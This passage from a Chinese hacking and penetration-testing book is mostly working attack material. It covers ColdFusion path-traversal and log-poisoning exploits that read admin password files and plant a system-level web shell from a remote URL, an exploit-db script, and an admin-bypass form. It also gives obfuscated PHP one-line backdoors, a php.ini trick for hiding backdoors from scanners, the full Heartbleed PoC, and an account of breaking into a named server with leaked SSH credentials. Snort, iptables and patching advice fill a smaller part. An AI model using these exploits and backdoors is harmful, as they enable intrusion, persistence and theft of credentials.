6.9.2 0day使用方法测试
1.测试是否存在漏洞
在浏览器地址栏中输入“http://192.168.44.129:8500/CFIDE/administrator/enter.cfm”,其参数中存在locale本地包含漏洞,利用方法是根据locale构建。例如,输入“http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\server.log%00en”,如果存在漏洞,会爆出server.log文件的详细信息,如图6-81所示。
图6-81 测试是否存在漏洞
文件可以是application.log、server.log、eventgateway.log,要根据实际情况进行测试。文件还可以是磁盘上的任意文件,如图6-82所示,读取boot.ini文件的内容,具体如下。
图6-82 读取磁盘上其他文件的内容
http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\
..\..\..\..\boot.ini%00en
2.利用URL注入application.log日志文件
利用<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>方法构造一个地址,通过访问一个不存在的页面将URL内容写入日志文件。在这个过程中要注意编码问题,否则写入可能失败。输入“http://192.168.44.129:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL. u%23 %20PATH%3D%23URL.p%23 %20FILE%3D%23URL.f%23 %3E.cfml”,如图6-83所示,会给出找不到文件的错误提示。
图6-83 文件未找到错误
这时就会把“<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>”注入application.log了,如图6-84所示。
图6-84 将URL内容写application.log日志文件
3.获取Shell
事先准备一个shell.cfm,将该文件保存为TXT文件,如“http://www.antian365.com/tools/cfm. shell.txt”,然后在浏览器的地址栏中输入http://192.168.44.129:8500//CFIDE/administrator/enter.cfm? locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en&u=http://192.168.44.129:8500/1.txt&p=C :\ ColdFusion8\wwwroot&f=shell.cfm,即可在根目录下获取shell.cfm。如图6-85所示,获取的WebShell为system权限。
图6-85 获取WebShell
4.获取管理密码
password.properties文件一般位于“C:\ColdFusion8\lib\”文件夹下,只要读取该文件的信息,就可获取加密的密码,如图6-86所示,示例如下。
图6-86 获取Goldfusion管理密码
http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\
..\..\..\..\ColdFusion8\lib\password.properties%00en
6.9.3 LFI to Shell in Coldfusion 6-10利用方法分析
LFI获取Goldfusion 6-10版本Shell的方法(LFI to Shell in Coldfusion 6-10),原文见http://hatriot.github.io/blog/2014/04/02/lfi-to-stager-payload-in-coldfusion/。该方法与本节介绍的方法有些类似,只是其采用了Base64编码,示例如下。
<cfhttp method='get'
url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#'
path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>
使用CFM的CFHTTP标签执行一个HTTP请求,取得Web服务器192.168.1.97:8000上的cmd.cfml文件。ToBinary是为了进行Base64编码,绕过一些字符的限制。此法的缺点主要有:不是通杀的方法,如果对方禁止对外的HTTP访问,则此法行不通;如果安装时集成到IIS模式,而CF程序目录放到其他盘符,将无法使用“../”命令进行跨目录操作。
6.9.4 其他可供利用0day的分析
下面分析一下其他可供利用的0day。
1.读取password.properties文件
根据exploit-db网站公布的利用方法,POC的下载地址为http://www.exploit-db.com/exploits/14641/,代码如下,主要功能是读取管理员密码。
python 14641.py ip port ../../../../../../../lib/password.properties
python 14641.py 192.168.44.129
8500 ../../../../../../../lib/password.properties
import sys
import socket
import re
# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm",
"/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm",
"/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")
post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
locale=%%00%s%%00a"""
def main():
if len(sys.argv) != 4:
print "usage: %s <host> <port> <file_path>" % sys.argv[0]
print "example: %s localhost
80 ../../../../../../../lib/password.properties" % sys.argv[0]
print "if successful, the file will be printed"
return
host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
for f in filenames:
print "------------------------------"
print "trying", f
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
s.send(post % (f, host, len(path) + 14, path))
buf = ""
while 1:
buf_s = s.recv(1024)
if len(buf_s) == 0:
break
buf += buf_s
m = re.search('<title>(.*)</title>', buf, re.S)
if m != None:
title = m.groups(0)[0]
print "title from server in %s:" % f
print "------------------------------"
print m.groups(0)[0]
print "------------------------------"
if __name__ == '__main__':
main()
2.Adobe ColdFusion 9管理员绕过漏洞
将以下代码保存为test.html,加入hostname直接提交,可以绕过Adobe ColdFusion 9认证登录后台系统。
<form
action="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfm?method=login"
method="post">
<input type="hidden" name="adminpassword" value="">
<input type="hidden" name="rdsPasswordAllowed" value="1">
<input type="submit">
</form>
参考资料
• http://www.exploit-db.com/exploits/27755/
• http://www.exploit-db.com/exploits/30210/
• http://drops.wooyun.org/tips/1410
6.10 一种新型PHP网站后门隐藏技术研究
网站后门是网站渗透必备利器之一,后门隐藏技术的优劣决定了网站权限的生存期。基于特征扫描和针对变形网页的后门扫描技术的不断发展,必然大大降低后门的生命周期。在这种情况下,本节针对目前流行的PHP后门隐藏技术,提出一种在Windows环境下的新型PHP网站后门隐藏技术,使后门文件不出现在网站目录下,并能绕过基于后门特征和后门变形特征的查杀。
“梦之光芒”提出的构建程序逻辑后门绕过后门特征检测和数据传递溯源检测的方法,对绝大部分网站维护人员有用,但对比较程序文件MD5值检测网站是否存在后门的手段就无能为力了。在网络攻防对抗中,陆续出现了安全狗、安全宝等针对网站入侵检测的软件和安全服务提供商,他们提供了专业的Web应用防护系统WAF(Web Application Firewall),这些系统能够拦截常见的网站后门,对攻击进行预警和报警。
在这种情况下,出现了针对PHP WebShell的变种,如无ASCII码和数字的WebShell、隐藏eval等关键字的WebShell、编码加隐藏关键字的WebShell。Bghost针对上述情况提出了执行数据隐藏和数据传递隐藏WebShell查杀技术。执行数据隐藏查杀的核心是发现某个函数曾经执行,但在代码中却找不到此函数,并认为正常程序执行后不会在代码中隐藏函数。而数据传递隐藏则通过把日志文件中记录的文件名和行数的代码上报后端,与后端SVN中的代码进行对比,如果不一致,则认为是一个WebShell。该方法虽然可行,但考虑到性能和性价比,部署起来较为困难。
随着网络安全技术在民间的普及,被攻击方发现入侵后安全意识的提高,防护手段的加强,特别是聘请专业安全公司进行安全评估和加固、部署安全狗等后门监控软件大大提高了后门存活的难度,因此,如何在获取权限的网站深埋后门具有一定的实际意义。本节对常见的PHP WebShell后门技术进行分析和研究,通过实验成功得到一种新型的后门留取方法——不修改网站的任何代码,通过修改原有Windows PHP环境的配置,仅需简单的操作即可长期隐蔽使用网站后门。后门可以是网站的任意PHP正常文件,可以绕过Web防火墙。
6.10.1 WebShell概述
回顾一下WebShell的相关知识。
1.WebShell的概念
WebShell是指匿名用户(入侵者)通过网站端口对网站服务器进行某种程度上操作的权限。由于WebShell大多以动态脚本的形式出现,也常被称为网站后门工具。WebShell是Web入侵的脚本攻击工具,常见类型有ASP.NET、JSP、PHP、ASP、Perl、、CGI、CFM(以下均简称为“WebShell后门文件”)。攻击者在入侵成功后,会将WebShell后门文件放置在网站服务器的Web目录中,与正常的网页文件混在一起,然后攻击者就可以以Web访问的方式,通过WebShell木马后门控制网站服务器,包括上传及下载文件、操作数据库、执行任意程序命令等。
2.WebShell的特点
WebShell后门文件具有高隐蔽、功能强、危害大等特点。WebShell与正常的网页程序一样,通过HTTP或者HTTPS协议访问,由于使用与被控制的服务器相同的Web服务端口传输,因此不会被防火墙拦截。通过WebShell访问不会在系统日志中留下记录,只会在网站的Web日志中留下一些数据提交记录。高级WebShell程序仅会在Web日志中出现POST或者GET操作,不会留下具体的后门操作信息,因此较难被发现,隐蔽性强。
目前,WebShell后门程序功能强大,除了文件操作和数据库操作外,还可以提权,配合特定程序穿透内网,危害较大。在普通情况下,通过WebShell可以读取数据库、导出数据库文件、查看服务器具有访问权限的所有文件。在具有MySQL Root账号、MSSQL sa账号等情况下,可以直接提升获得操作系统权限,通过执行特定程序,实现中转、木马植入等功能。
6.10.2 常见的PHP WebShell后门隐藏技术
下面介绍一些常见的PHP WebShell后门隐藏技术。
1.eval函数构造的后门
PHP中提供了eval函数,该函数的用法为“eval(string $code_str)”,把字符串code_str作为PHP代码执行。eval函数中的变量会被保留在之后的主脚本中。eval函数可将字符串中的变量值代入,通常用在处理数据库中的数据时。除了上述用法外,eval函数还可以直接接受用户提交的数据并执行,因此会出现PHP WebShell中最常见的后门。其常见的代码如下。
<? PHP eval($_POST[cmd]);?> //不容错代码 3.1.1.PHP
<?PHP @eval($_POST['cmd']);?> //容错代码 3.1.2.PHP
<?PHP system($_REQUEST['cmd']);?> //3.1.3.PHP
在实际使用过程中,最常用的是“<?PHP @eval($_POST['cmd']);?>”,其他代码容易报错,示例如下。
Warning: system() has been disabled for security reasons
in D:\ComsenzEXP\wwwroot\3.1.3.php on line 1
2.利用404等常见页面隐藏后门
使用“中国菜刀”一句话后门连接工具(连接密码为“error”),在404等常见页面中插入以下代码。
<?PHP
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
通过访问地址http://127.0.0.1/404.PHP?error=eval(chr(102).chr(112).chr(117).chr(116).chr(115). chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97). chr(47).chr(97).chr(46).chr(112) .chr(104) .chr(112).chr(39).chr(44).chr(39).chr(119) .chr(39) .chr(41) .chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41). chr(63).chr(62) .chr(39) .chr(41) .chr(59)),还可以在网站当前目录下生成一句话后门密码为“cmd”的a.PHP文件。上面代码的解码代码如下。
fputs(fopen(data/a.PHP,w),<?PHPeval($_POST[cmd])?>);
3.无特征隐藏一句话木马
通过编码转换str_rot13(‘riny’),即编码后的eval,在整个代码中看不到eval的特征。使用“中国菜刀”一句话连接工具连接,连接密码为“b4dboy”,示例如下。
<?PHP($b4dboy = $_POST['b4dboy']) &&
@preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?>
4.利用shell_exec函数的后门
利用PHP中shell_exec等函数生成的后门。PHP.ini中的disable_functions函数不能包括shell_ exec,否则会发生执行错误,代码如下。
<?PHP
//3.4.PHP
$test = $_GET['r'];
echo `$test`;
?>
可以执行Windows的常见命令,还可以通过echo命令生成文件,使用方法如下。
http://127.0.0.1/3.4.PHP?r=dir //列出目录
http://127.0.0.1/3.4.PHP?r=echo hack >D:\web\hack.txt
后面还延伸出非数字执行后门代码,示例如下。
<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
利用方法为“3 .4.2.PHP?_=shell_exec&__=<any shell command goes here>”,该后门在Linux下执行效果较好。
5.二级参数隐蔽PHP后门
在后门程序中没有eval函数,通过两个参数完成后门操作,第一个参数用于赋值assert,第二个参数为连接密码。后门程序代码如下。
<?php @$_GET[a](@$_GET[b]);?> //或者<?PHP ($_=@$_GET[2]).@$_($_POST[1])?>
http://127.0.0.1/3.5.1.PHP?a=assert //密码为“b”
http://127.0.0.1/3.5.2.PHP?2=assert //密码为“1”
还可对第二个参数执行某些特定函数,甚至可以在网站根目录下写入一句话后门文件c.PHP。执行PHPinfo()函数,则可以赋值b=PHPinfo()。
6.非数字隐蔽PHP后门
非数字隐蔽PHP后门最早由Spanner提出,它借鉴了“Tiny PHP Shell”的思路,通过八进制转义执行非字母数字代码,从而能够较好地逃过安全管理人员的脚本安全扫描检查,代码如下。
<?PHP
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?PHP ${'_'.$_}['_'](${'_'.$_}['__']);?>
在“中国菜刀”里写入“http://127.0.0.1/3.6.PHP?_=assert&__=eval($_POST ['pass'])”语句,密码是“pass”。
7.包含文件后门
通过include($uid)实现执行UID后的任何文件,它可以直接将任何文件编译为PHP格式并运行,具体用法如下。
http://127.0.0.1/3.6.PHP?uid=/image.gif //通过 gif 插入一句话木马
8.利用PHP上传程序留后门
攻击者通过分析网站程序,结合被攻击网站的特点,在获取网站权限后,保留一个独特的PHP上传程序,每次需要网页后门时,就通过该程序上传网页后门程序,处理完毕删除PHP WebShell,仅保留上传程序。
9.PHP后门生成工具Weevely
Weevely是一款针对PHP的WebShell的自由软件,在BT上默认安装,可用于模拟一个类似于Telnet的连接Shell。Weevely通常用于Web程序的漏洞利用,隐藏后门或者使用类似Telnet的方式代替Web页面式的管理。Weevely生成的服务器端PHP代码是经过Base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过Weevely直接运行。
6.10.3 一种Windows下PHP后门隐藏技术的研究
通过研究发现,在Windows下的PHP解释环境中有两个函数自动加载文件,分别是auto_ prepend_file和auto_append_file,在PHP.ini中可以修改成任意文件,可以是PHP文件,也可以是DLL文件,将后门文件内容写入这两个文件即可。通过修改include_path为后门文件所在路径,网站所在目录下的所有PHP文件均可以作为PHP后门。其具体实现步骤如下。
01 修改auto_prepend_file和auto_append_file
去掉auto_prepend_file和auto_append_file这两个配置行前面的“;”,使配置文件生效,然后添加后门文件名称,示例如下。
auto_prepend_file =PHP_tar.dll
auto_append_file =PHP_bz.dll
02 修改include_path配置
在PHP.ini中查找include_path的位置,去掉注释,选择Windows下的include_path,填写后门所在的详细路径,示例如下。
include_path = "D:\ComsenzEXP\PHP5\ext;."
03 创建后门文件
在D:\ComsenzEXP\PHP5\ext文件夹中新建PHP_tar.dll.和PHP_bz.dll文件,文件内容为“<? eVal($_POST[a]);?>”。在使用Discuz!模板时,应将PHP.ini中output_buffering的默认值“off”改为“on”,否则会报错。通过“中国菜刀”一句话后门工具访问任何PHP文件即可获得WebShell权限。
6.10.4 小结
本节对目前常见的PHP后门隐藏技术进行了分析和研究,简单介绍了这些后门的缺点和优点,并在此基础上通过挖掘PHP配置文件,成功找到一种高级的后门隐藏技术,通过修改配置文件来隐藏后门,由于后门文件不在网站目录下,因此能够绕过安全狗等安全软件的防护。该技术目前只能在Windows环境中实现,在Linux下还存在报错和与原程序文件冲突等问题。
6.11 OpenSSL“心脏出血”漏洞分析及其利用
2014年4月7日,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞。在黑客社区,它被命名为“心脏出血”,表明网络上出现了“致命内伤”。利用该漏洞,黑客可以获取约30%的以“https”开头的网站的用户登录账号和密码,其中包括购物、网银、社交、门户等类型的知名网站。
该漏洞最早的公布时间为2014年4月7日,Sean Cassidy在其Blog上发表了Existential Type Crisis: Diagnosis of the OpenSSL Heartbleed Bug (http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html)一文。当天,OpenSSL发布了安全公告:在OpenSSL 1.0.1中存在严重漏洞(CVE-2014-0160),此漏洞问题存在于ssl/dl_both.c文件中。OpenSSL的Heartbleed模块存在一个Bug,当攻击者构造一个特殊的数据包时,如果用户心跳包中无法提供足够的数据,会导致memcpy把SSLv3记录之后的数据直接输出。该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中长达64kb的数据。
6.11.1 漏洞分析
下面我们对“心脏出血”漏洞进行分析。
1.漏洞代码分析
“心脏出血”漏洞存在于文件ssl/dl_both.c中,漏洞的补丁如下语句开始。
int
dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
结构体SSL3_RECORD的定义如下。
typedef struct ssl3_record_st
{
int type; /* type of record */
unsigned int length; /* How many bytes available */
unsigned int off; /* read/write offset into 'buf' */
unsigned char *data; /* pointer to the record data */
unsigned char *input; /* where the decode bytes are */
unsigned char *comp; /* only used with decompression - malloc()ed */
unsigned long epoch; /* epoch number, needed by DTLS1 */
unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
} SSL3_RECORD;
每条SSLv3记录中包含一个类型域(type)、一个长度域(length)和一个指向记录数据的指针(data)。在dtls1_process_heartbeat中,SSLv3记录示例如下。
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
SSLv3记录的第一个字节表明了心跳包的类型。宏n2s从指针p指向的数组中取出前2字节,并把它们存入变量payload——这实际上是心跳包载荷的长度域(length)。程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。
这个函数的后面进行了以下工作。
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
所以,程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为65535+1+2+16字节。变量bp是用来访问这段内存区域的指针。程序示例如下。
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
宏s2n与宏n2s的任务正好相反:宏s2n读入一个16bit的值,将它存储为双字节值,所以,宏s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload;然后,程序从pl处开始复制payload字节到新分配的bp数组中——pl指向用户提供的心跳包数据;最后,程序将所有数据发回给用户。
2.控制变量payload和pl成为可利用漏洞
如果用户没有在心跳包中提供足够多的数据,会导致什么问题?例如,pl指向的数据实际上只有1字节,那么memcpy会把这条SSLv3记录之后的数据——无论那些数据是什么——都复制出来。
6.11.2 可利用POC及其测试
对于“心脏出血”漏洞,可利用的POC及其测试过程如下。
1.POC程序的执行流程
01 POC程序向OpenSSL服务端程序发送“hello”数据包。
02 收到反馈信息后,证明服务端开启且连接正常。
03 向服务端发送经修改过的心跳包。
04 接收服务端返回的数据,并解析出心跳包中的3个变量,分别为SSL3_RECORD结构体中的type、length、data。
05 判断type类型变量的值是否为空。如果为空则服务端未返回数据,判断为没有该漏洞;如果为21,则判断服务器报错,判断为没有漏洞;如果为24,则心跳包正常,继续判断返回数据长度是否大于3,如果大于3,则说明返回了大量服务端越界访问的内存数据,判定存在该漏洞。
2.获取POC
“心跳出血”漏洞公布后不久,网上就出现了国外安全研究人员针对该漏洞编写的POC。在该漏洞发布的第一时间,笔者对此漏洞进行了分析与验证。在漏洞发布的同时,攻击者可利用的脚本也已经在网络上流传。部分该漏洞利用脚本的下载地址如下。
• http://s3.jspenguin.org/ssltest.py(python脚本)
• http://pan.baidu.com/s/1nt3BnVB(python脚本)
• https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py
• https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py
网上在线检测地址如下。
• http://possible.lv/tools/hb/
• http://filippo.io/Heartbleed/
3.POC代码
将以下代码保存为ssltest.py文件,POC代码如下。
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford
(jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL
heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to
test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver,
len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server
is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any
extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
4.测试方法
openssl.py / ssltest.py
用法为“python openssl.py ip/域名-p端口”。网上POC作者公布的代码每次只dump 16kb的内存,如果需要dump 64kb的内存,需要做如下修改。
hb = h2bin('''
18 03 02 00 03
01 40 00 //将此处修改为“01 ff ff”
''')
将“for b in xrange(0, len(s), 16)”改成“for b in xrange(0, len(s), 64)”。后期还出现了支持SMTP、POP3、IMAP、FTP、XMPP的POC(http://lcx.cc/?i=4276)。
6.11.3 OpenSSL检测技术
笔者第一时间对OpenSSL“心脏出血”漏洞利用代码进行测试,测试分为两个方面:一个是通过网页在线检测;另一个是通过脚本直接获取内存内容。
1.网页检测
网站http://possible .lv/tools/hb/的检测效果较好。打开该网站,在输入框中输入网站域名地址即可。如果默认端口不是443,则需要输入具体的端口号,如“www.somesite.com:4433”表示端口为4433。检测时会显示进度条,检测完成后会显示检测结果。
如图6-87所示,表示不存在漏洞。随机更换一个网址,如图6-88所示,获取该网站存在漏洞。
图6-87 在线检测漏洞
图6-88 获取kuaiyinpan.com存在漏洞
2.通过py脚本检测
在Linux终端窗口中输入“pythonssltest.py 66.175.219.225-p 443”命令,如图6-89所示,获取漏洞提示信息“ver=0302”,表示该版本表示存在漏洞。在获取的内容中可能会包含用户名和密码等信息。
图6-89 通过py脚本进行测试
3.对存在漏洞的网站进行扫描
下载NMap的最新版本,在本地进行编译,或者使用命令“nmap--script-updatedb”进行更新,或者下载“wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse”。实际测试过程中,直接下载该脚本会缺少一些模块。然后,通过以下命令进行扫描。
nmap -p 443 --script ssl-heartbleed 66.175.219.225
如果存在漏洞,则会给出该漏洞的相关提示,如图6-90所示。
图6-90 扫描检测存在漏洞的服务器
4.通用Snort规则检测
由于SSL协议是加密的,且目前没有找到提取可匹配规则的方法,所以笔者尝试编写了一条基于返回数据大小的检测规则,示例如下。其有效性笔者会继续验证(如果有问题,欢迎读者反馈)。
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"openssl Heartbleed
attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, >, 200,
3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1,
seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)
Snort规则说明,此漏洞主要针对的是SSL协议,是针对心跳数据包前4字节中的“\x18\x03”,而将数据包的第5个字节和第6个字节的数值按大尾模式转换成数值,在200和16385之间。后面是一些报警和过滤功能,日志每10分钟记录一次。
6.11.4 漏洞修复建议
根据“心脏出血”漏洞的受影响版本,给出一些修复建议。
1.影响版本
通过实际测试,受影响的版本如下。
• OpenSSL 1.0.2-beta
• OpenSSL 1.0.1- OpenSSL 1.0.1f
不受影响的版本如下。
• OpenSSL 1.0.1g is NOT vulnerable
• OpenSSL 1.0.0 branch is NOT vulnerable
• OpenSSL 0.9.8 branch is NOT vulnerable
2.修复建议
首先,要升级OpenSSL软件。要解决此漏洞,建议服务器管理员或使用1.0.1g版,或使用“-DOPENSSL_NO_HEARTBEATS”选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件为止。OpenSSL官方发布的最新版本的升级地址为https://www.openssl.org/source/。然后,重新编译OpenSSL,并去掉DOPENSSL_NO_HEARTBEATS扩展,示例如下。
$ echo -e "B\n" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2<&1|
grep 'heartbeart'
如果不能升级OpenSSL,可以更新IPTable防火墙规则,示例如下。
t# Log rules
iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \
"52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"
# Block rules
iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32
\"52=0x18030000:0x1803FFFF" -j DROP
3.CentOS修复方法参考
(1)yum方法安装
yum search openssl
yum install openssl
/etc/init.d/nginx restart #然后重启 Nginx
(2)下载编译安装
wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz
cd openssl-1.0.1g
./config
make && make install
/etc/init.d/nginx restart #重启 Nginx
6.12 通过网上信息获取某Linux服务器WebShell
虽然本节的案例已经发生很长时间了,但由于其具有一定的代表性,因此经过综合考虑增加了本节。
本案例的由来是互联网某“大牛”在博客上公布了对某网站的一次安全检测过程,幸运的是,作者未对SSH账号和密码进行处理,因此,通过这一线索能够顺利获得其服务器权限及WebShell。下面是整个过程。
6.12.1 通过SSH账号和密码进行登录测试
打开SSH Secure Shell,如图6-91所示,在“Host Name”文本框中输入服务器所在IP地址,在“User Name”文本框中输入获取的账号,保留“Port”文本框中默认的22端口。SSH服务是Linux服务器最方便管理的一种途径,与Windows下的远程终端有些类似。
图6-91 Linux服务器登录测试
6.12.2 成功登录Linux服务器
单击“Connect”按钮进行连接测试,在其后需要输入用户密码进行验证,验证成功后,成功登录服务器,如图6-92所示,可以看到上一次服务器登录的IP地址。
图6-92 成功登录该Linux服务器
6.12.3 查看服务器文件及其所有信息
输入“ls”命令查看当前目录下的信息,如图6-93所示,发现存在一个“backup”文件夹,通过“cd backup”命令进入该文件夹,发现其下有2个SH脚本和2个tar.bz文件。
图6-93 查看文件内容
通过命令“cat backup.sh”查看文件内容,得知该文件可能是网站文件打包,且文件路径“Home/webroot”可能就是网站的主路径,如图6-94所示。
图6-94 获取网站主目录
6.12.4 查看服务器所在IP网站域名情况
通过浏览器访问http://www.yougetsignal.com/tools/web-sites-on-web-server/,然后输入IP地址“61.129.251.181”,查看该IP地址下网站的域名情况,如图6-95所示,该IP地址下有6个域名。
图6-95 获取该IP地址下网站的域名情况
6.12.5 尝试获取WebShell
发现网站域名后,通过SSH Secure Client中的文件管理,也可以打开工具栏上的文件夹图标。进入“/home/webroot/hope-guild.com/api”目录,尝试上传一个WebShell文件,然后在浏览器中打开http://hope-guild.com/api/control.php页面,如图6-96所示,成功获取WebShell。
图6-96 获取WebShell
6.12.6 总结与思考
• SSH账号和FTP账号一样,可用于上传和下载文件。
• 获取一个SSH账号后,可以生成字典进行暴力破解。
• 利用已有信息继续进行渗透,收集可利用信息,尝试能否提权。
6.13 一句话密码破解获取某网站WebShell
一句话后门是Web渗透中用得最多的必备工具,目前流行的一句话后门有ASP、ASP.NET、JSP和PHP 4种类型。一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作,在数据库表或者相应字段插入“<%execute request("pass")%>”、“<%evalrequest("pass")%>”、“<?php eval($_POST[pass])?>”、“<?php@eval($_POST[pass])?>”、“<%@PageLanguage="Jscript"%>”、“<% eval(Request.Item ["pass"],"unsafe");%>”等代码,然后通过“中国菜刀”、Lake一句话后门客户端等工具进行连接。只需要知道上述代码插入的具体文件及连接密码,即可进行一些WebShell的操作,是基于B/S结构的架构。一句话后门是黑客入侵成功的标志和常用后门,在渗透过程中,如果发现一句话后门,就可以通过对一句话后门进行破解,从而获得网站的权限。
6.13.1 获取后台权限
应好友邀请,对某网站进行安全检测。通过WVS等扫描工具对目标站点进行扫描,没有发现可以利用的明显漏洞,通过社工猜测出网站管理员admin的密码,如图6-97所示,成功进入后台。
图6-97 登录WordPress后台
6.13.2 尝试提权
